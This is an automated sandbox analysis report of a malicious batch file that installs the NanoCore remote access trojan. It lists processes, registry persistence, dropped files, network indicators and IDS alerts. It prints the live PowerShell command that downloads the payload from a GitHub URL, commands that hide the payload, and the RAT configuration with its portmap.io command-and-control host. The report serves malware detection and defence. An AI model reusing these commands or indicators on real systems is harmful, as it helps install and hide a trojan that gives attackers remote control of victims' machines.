| File name: | a.bat |
| Full analysis: | https://app.any.run/tasks/563e93b8-26dc-4ff3-8de1-a6a03628fb6d |
| Verdict: | Malicious activity |
| Threats: | NanoCore is a Remote Access Trojan or RAT. This malware is highly customizable with plugins which allow attackers to tailor its functionality to their needs. Nanocore is created with the .NET framework and it’s available for purchase for just $25 from its “official” website. |
| Analysis date: | May 15, 2025, 13:27:06 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | 527036CAE6EBF86E4ADFC2B46E458052 |
| SHA1: | EA3BF7A0D97916001C131D3BECCA2CD7DAB6BEA2 |
| SHA256: | 6F55DD423E865B5DF8A6630124C0CEC575D8F8141458CCA0EFF7DB3F6C1FCC2B |
| SSDEEP: | 48:I7s7BK7E4ep3zI8FicIJpCvedwi2gPH2YQzKApr/X2EP:cVedI8sv+KApjbP |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1852 | RuntimeBroker.exe | C:\Users\admin\AppData\Local\Anon\RuntimeBroker.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 1 Modules
Nanocore(PID) Process(1852) RuntimeBroker.exe BuildTime2025-05-15 13:24:46.673176 Version1.2.2.0 Mutex9b0a17da-9af6-451e-874d-c6e7b5d32ad0 DefaultGroupRuntimeBroker PrimaryConnectionHostcybrc082-39826.portmap.io BackupConnectionHostcybrc082-39826.portmap.io ConnectionPort39826 RunOnStartupTrue RequestElevationTrue BypassUserAccountControlFalse ClearZoneIdentifierTrue ClearAccessControlFalse SetCriticalProcessFalse PreventSystemSleepTrue ActivateAwayModeFalse EnableDebugModeFalse RunDelay0 ConnectDelay4000 RestartDelay5000 TimeoutInterval5000 KeepAliveTimeout30000 MutexTimeout5000 LanTimeout2500 WanTimeout8000 BufferSize65535 MaxPacketSize10485760 GCThreshold10485760 UseCustomDnsServerTrue PrimaryDnsServer8.8.8.8 BackupDnsServer8.8.4.4 | |||||||||||||||
| 2244 | Powershell -Command "Invoke-Webrequest 'https://github.com/wha-gifart/gifart/releases/download/SDA/RuntimeBroker.exe' -OutFile RuntimeBroker.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2564 | "C:\Windows\System32\Taskmgr.exe" | C:\Windows\SysWOW64\Taskmgr.exe | — | RuntimeBroker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Manager Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4024 | attrib +h "C:\Users\admin\AppData\Local\Anon\RuntimeBroker.exe" /s /d | C:\Windows\System32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5324 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5408 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\a.bat" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6032 | "schtasks.exe" /delete /f /tn "LAN Host" | C:\Windows\SysWOW64\schtasks.exe | — | RuntimeBroker.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6036 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | schtasks.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6040 | attrib +h "Anon" /s /d | C:\Windows\System32\attrib.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6700 | powershell -window hidden -command "" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (5408) cmd.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.vbs\OpenWithProgids |
| Operation: | write | Name: | VBSFile |
Value: | |||
| (PID) Process: | (1852) RuntimeBroker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run |
| Operation: | write | Name: | LAN Host |
Value: C:\Program Files (x86)\LAN Host\lanhost.exe | |||
| (PID) Process: | (2564) Taskmgr.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskManager |
| Operation: | delete value | Name: | Preferences |
Value: | |||
| (PID) Process: | (2564) Taskmgr.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\TaskManager |
| Operation: | write | Name: | Preferences |
Value: 0D00000060000000600000006800000068000000E3010000DC010000010000000000008000000080D8010080DF010080000100010000008000000080A802008058020080E803000000000000000000000F00000001000000A4DE84000000000000000000EA000000000000008990000000000000FF000000010150020D000000E0DE840000000000FFFFFFFF96000000000000008B90000001000000000000000010100103000000F4DE840000000000FFFFFFFF78000000000000008C900000020000000000000001021200040000000CDF840000000000FFFFFFFF96000000000000008D900000030000000000000000011001020000002CDF840000000000FFFFFFFF32000000000000008A9000000400000000000000000820010500000040DF840000000000FFFFFFFFC8000000000000008E9000000500000000000000000110010600000064DF840000000000FFFFFFFF04010000000000008F9000000600000000000000000110010700000088DF840000000000FFFFFFFF49000000490000009090000007000000000000000004250008000000C8DE840000000000FFFFFFFF49000000490000009190000008000000000000000004250009000000A8DF840000000000FFFFFFFF4900000049000000929000000900000000000000000425080A000000BCDF840000000000FFFFFFFF4900000049000000939000000A00000000000000000425080B000000D8DF840000000000FFFFFFFF490000004900000039A000000B00000000000000000425091C000000F8DF840000000000FFFFFFFFC8000000000000003AA000000C00000000000000000110091D00000020E0840000000000FFFFFFFF64000000000000004CA000000D00000000000000000215081E00000040E0840000000000FFFFFFFF64000000000000004DA000000E0000000000000000021508030000000A00000001000000A4DE84000000000000000000D7000000000000008990000000000000FF00000001015002040000000CDF8400000000000100000096000000000000008D90000001000000000000000101100003000000F4DE840000000000FFFFFFFF64000000000000008C9000000200000000000000000210000C0000006CE0840000000000030000006400000000000000949000000300000000000000010210000D00000094E0840000000000FFFFFFFF6400000000000000959000000400000000000000000110010E000000B8E0840000000000050000003200000000000000969000000500000000000000010420010F000000E0E0840000000000060000003200000000000000979000000600000000000000010420011000000000E1840000000000070000004600000000000000989000000700000000000000010110011100000020E1840000000000FFFFFFFF6400000000000000999000000800000000000000000110010600000064DF8400000000000900000004010000000000008F9000000900000000000000010110010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000B00000001000000A4DE84000000000000000000D7000000000000009E90000000000000FF000000010150021200000044E1840000000000FFFFFFFF2D000000000000009B9000000100000000000000000420011400000064E1840000000000FFFFFFFF64000000000000009D9000000200000000000000000110011300000088E1840000000000FFFFFFFF64000000000000009C90000003000000000000000001100103000000F4DE840000000000FFFFFFFF64000000000000008C9000000400000000000000010210000700000088DF8400000000000500000049000000490000009090000005000000000000000104210008000000C8DE8400000000000600000049000000490000009190000006000000000000000104210009000000A8DF840000000000070000004900000049000000929000000700000000000000010421080A000000BCDF840000000000080000004900000049000000939000000800000000000000010421080B000000D8DF84000000000009000000490000004900000039A000000900000000000000010421091C000000F8DF8400000000000A00000064000000000000003AA000000A000000000000000001100900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000800000001000000A4DE84000000000000000000C600000000000000B090000000000000FF0000000101500215000000A8E1840000000000FFFFFFFF6B00000000000000B190000001000000000000000004250016000000D4E1840000000000FFFFFFFF6B00000000000000B290000002000000000000000004250018000000F8E1840000000000FFFFFFFF6B00000000000000B49000000300000000000000000425001700000020E2840000000000FFFFFFFF6B00000000000000B39000000400000000000000000425001900000054E2840000000000FFFFFFFFA000000000000000B59000000500000000000000000420011A00000080E2840000000000FFFFFFFF7D00000000000000B69000000600000000000000000420011B000000B0E2840000000000FFFFFFFF7D00000000000000B79000000700000000000000000420010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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| |||
| (PID) Process: | (1852) RuntimeBroker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run |
| Operation: | delete value | Name: | LAN Host |
Value: C:\Program Files (x86)\LAN Host\lanhost.exe | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7896 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_2xwxw1f5.o2w.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5408 | cmd.exe | C:\Users\admin\AppData\Local\Temp\getadmin.vbs | text | |
MD5:D14A6C18536B08C2D91CC10129CEC2CA | SHA256:88F0E55BE41422957E8F4FEC8CAF0F9ED4E68D1F0290171BA8F4BD26C19FA17D | |||
| 8032 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_b0eofhno.ztc.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7896 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pcfmrudq.iux.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6700 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:DC5087512B64EBC0CFC94FD12BBD8515 | SHA256:432F6462CDB0D2BD1552E5CAC54C61E1F80F697224DB526A0E96444C931461E4 | |||
| 8032 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vx4zxa4q.blw.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2244 | powershell.exe | C:\Users\admin\AppData\Local\Anon\RuntimeBroker.exe | executable | |
MD5:06A2595A14085702C9D140456897271B | SHA256:753613FEC1A2957F41F96D2208A7A77ACE0EC77E2D69A0803633C556E456F974 | |||
| 2244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5at52igx.uzn.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 1852 | RuntimeBroker.exe | C:\Program Files (x86)\LAN Host\lanhost.exe | executable | |
MD5:06A2595A14085702C9D140456897271B | SHA256:753613FEC1A2957F41F96D2208A7A77ACE0EC77E2D69A0803633C556E456F974 | |||
| 2244 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_q4wpttys.tjh.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.143:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
7416 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7416 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.48.23.143:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
744 | RUXIMICS.exe | 51.104.136.2:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.248:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
6544 | svchost.exe | 20.190.160.128:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
6544 | svchost.exe | 2.17.190.73:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
2244 | powershell.exe | 140.82.121.3:443 | github.com | GITHUB | US | whitelisted |
2104 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
github.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
objects.githubusercontent.com |
| whitelisted |
cybrc082-39826.portmap.io |
| malicious |
PID | Process | Class | Message |
|---|---|---|---|
1852 | RuntimeBroker.exe | Potential Corporate Privacy Violation | ET INFO DNS Query to a Reverse Proxy Service Observed |
1852 | RuntimeBroker.exe | Misc activity | ET INFO DNS Query for Port Mapping/Tunneling Service Domain (.portmap .io) |
1852 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT CnC 7 |
1852 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT Keep-Alive Beacon (Inbound) |
1852 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT CnC 7 |
1852 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT Keep-Alive Beacon (Inbound) |
1852 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT CnC 7 |
1852 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT Keep-Alive Beacon (Inbound) |
1852 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT Keep-Alive Beacon (Inbound) |
1852 | RuntimeBroker.exe | Malware Command and Control Activity Detected | ET MALWARE NanoCore RAT CnC 7 |